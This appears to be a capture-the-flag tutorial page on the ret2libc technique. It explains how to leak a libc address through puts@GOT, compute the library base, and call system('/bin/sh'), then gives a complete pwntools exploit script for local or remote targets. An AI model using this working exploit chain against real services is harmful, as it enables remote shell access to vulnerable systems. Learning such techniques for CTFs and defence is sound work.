Ret2libc
Idea: use a first ROP chain to disclose a resolved libc address, calculate the matching library base, then use a second chain to call a function in libc.
Requirements
Section titled “Requirements”- A local copy of the exact target ELF, with
putsentries in its GOT and PLT and a return path tomain. - A saved-return offset measured for this binary. Use the offset walkthrough.
- An x86-64
pop rdi; retgadget in the main binary, plusretandpop rdi; retgadgets in libc for the example chain. - The exact
libc.so.6used by the target. A local system libc may differ from the challenge’s remote libc. - The service must accept a second input after returning to
main.
puts(puts@got) prints bytes at the GOT entry until a NUL byte, then a newline. This example assumes the puts entry has already been resolved and the leak arrives on its own line. If the target emits a label, consume that exact label first. If a newline byte occurs inside the leaked pointer, use a different leak/parsing method.
The two stages
Section titled “The two stages”- Leak: place
puts@gotinRDI, callputs@plt, then return tomainfor another input. - Calculate: decode the leaked pointer and subtract the offset of
putsin the matching libc. The result is the runtime libc base. - Call: locate
"/bin/sh"andsystemin the relocated libc, then send a second chain to callsystem("/bin/sh").
The script below supports local testing and an authorized remote challenge service. The remote target must use the same main binary layout and libc file assumed by this script. A PIE main binary needs its runtime base before stage one can use its addresses.
Complete local/remote script
Section titled “Complete local/remote script”Save as exploit.py beside chall and the matching libc.so.6. Replace the offset, prompt, and optional leak prefix with the values observed for the target.
#!/usr/bin/env python3from pwn import *
BINARY = "./chall"LIBC_FILE = "./libc.so.6"OFFSET = 72 # replace with the measured saved-return offsetPROMPT = b"> " # exact prompt bytes, or None if there is no promptLEAK_PREFIX = b"" # set this only if the target prints a label before the leakMAIN_ADDRESS = None # set to main's verified address if the ELF is stripped
context.log_level = "info"context.timeout = 5context.binary = elf = ELF(BINARY, checksec=False)libc = ELF(LIBC_FILE, checksec=False)
if elf.bits != 64: log.error("This example is for x86-64")if elf.pie: log.error("Resolve the PIE base before using the first-stage addresses")if "puts" not in elf.got or "puts" not in elf.plt: log.error("This binary needs puts entries in GOT and PLT")if MAIN_ADDRESS is None: if "main" not in elf.symbols: log.error("Set MAIN_ADDRESS to the verified return target from Ghidra") MAIN_ADDRESS = elf.symbols["main"]
def start(): if args.REMOTE: if not args.HOST or not args.PORT: log.error("Remote mode needs HOST and PORT") return remote(args.HOST, int(args.PORT), ssl=bool(args.SSL)) return process(elf.path)
def send_payload(io, payload): if PROMPT is None: io.sendline(payload) else: io.sendlineafter(PROMPT, payload)
def main(): io = start() rop = ROP(elf) pop_rdi = rop.find_gadget(["pop rdi", "ret"]) if pop_rdi is None: log.error("No pop rdi; ret gadget found in the main binary")
# Stage 1: puts(puts@GOT), then return to main for another input. stage1 = flat({OFFSET: [ pop_rdi.address, elf.got["puts"], elf.plt["puts"], MAIN_ADDRESS, ]}) send_payload(io, stage1)
if LEAK_PREFIX: io.recvuntil(LEAK_PREFIX) leak_line = io.recvline().rstrip(b"\r\n") if not leak_line: log.error("No leak received; check the first-stage output and delimiter")
leaked_puts = u64(leak_line[:8].ljust(8, b"\x00")) libc.address = leaked_puts - libc.symbols["puts"] if libc.address & 0xfff: log.error("Calculated libc base is not page-aligned; verify the leak and libc file") log.success("puts leak: %#x", leaked_puts) log.success("libc base: %#x", libc.address)
# Stage 2: system("/bin/sh"); confirm alignment against the target in GDB. libc_rop = ROP(libc) ret = libc_rop.find_gadget(["ret"]) pop_rdi_libc = libc_rop.find_gadget(["pop rdi", "ret"]) if ret is None or pop_rdi_libc is None: log.error("Required alignment or argument gadget is missing from this libc") bin_sh = next(libc.search(b"/bin/sh\x00"), None) if bin_sh is None: log.error("No /bin/sh string found in the supplied libc")
stage2 = flat({OFFSET: [ ret.address, pop_rdi_libc.address, bin_sh, libc.symbols["system"], ]}) send_payload(io, stage2) io.interactive()
if __name__ == "__main__": main()Run locally with python3 exploit.py. For an authorized endpoint, use python3 exploit.py REMOTE HOST=challenge.example PORT=31337; add SSL=1 only if the challenge specifies TLS. If the leak is printed as text or includes extra bytes, parse that exact output instead of treating it as a raw pointer. A remote libc mismatch gives a wrong base even when the first leak is correct.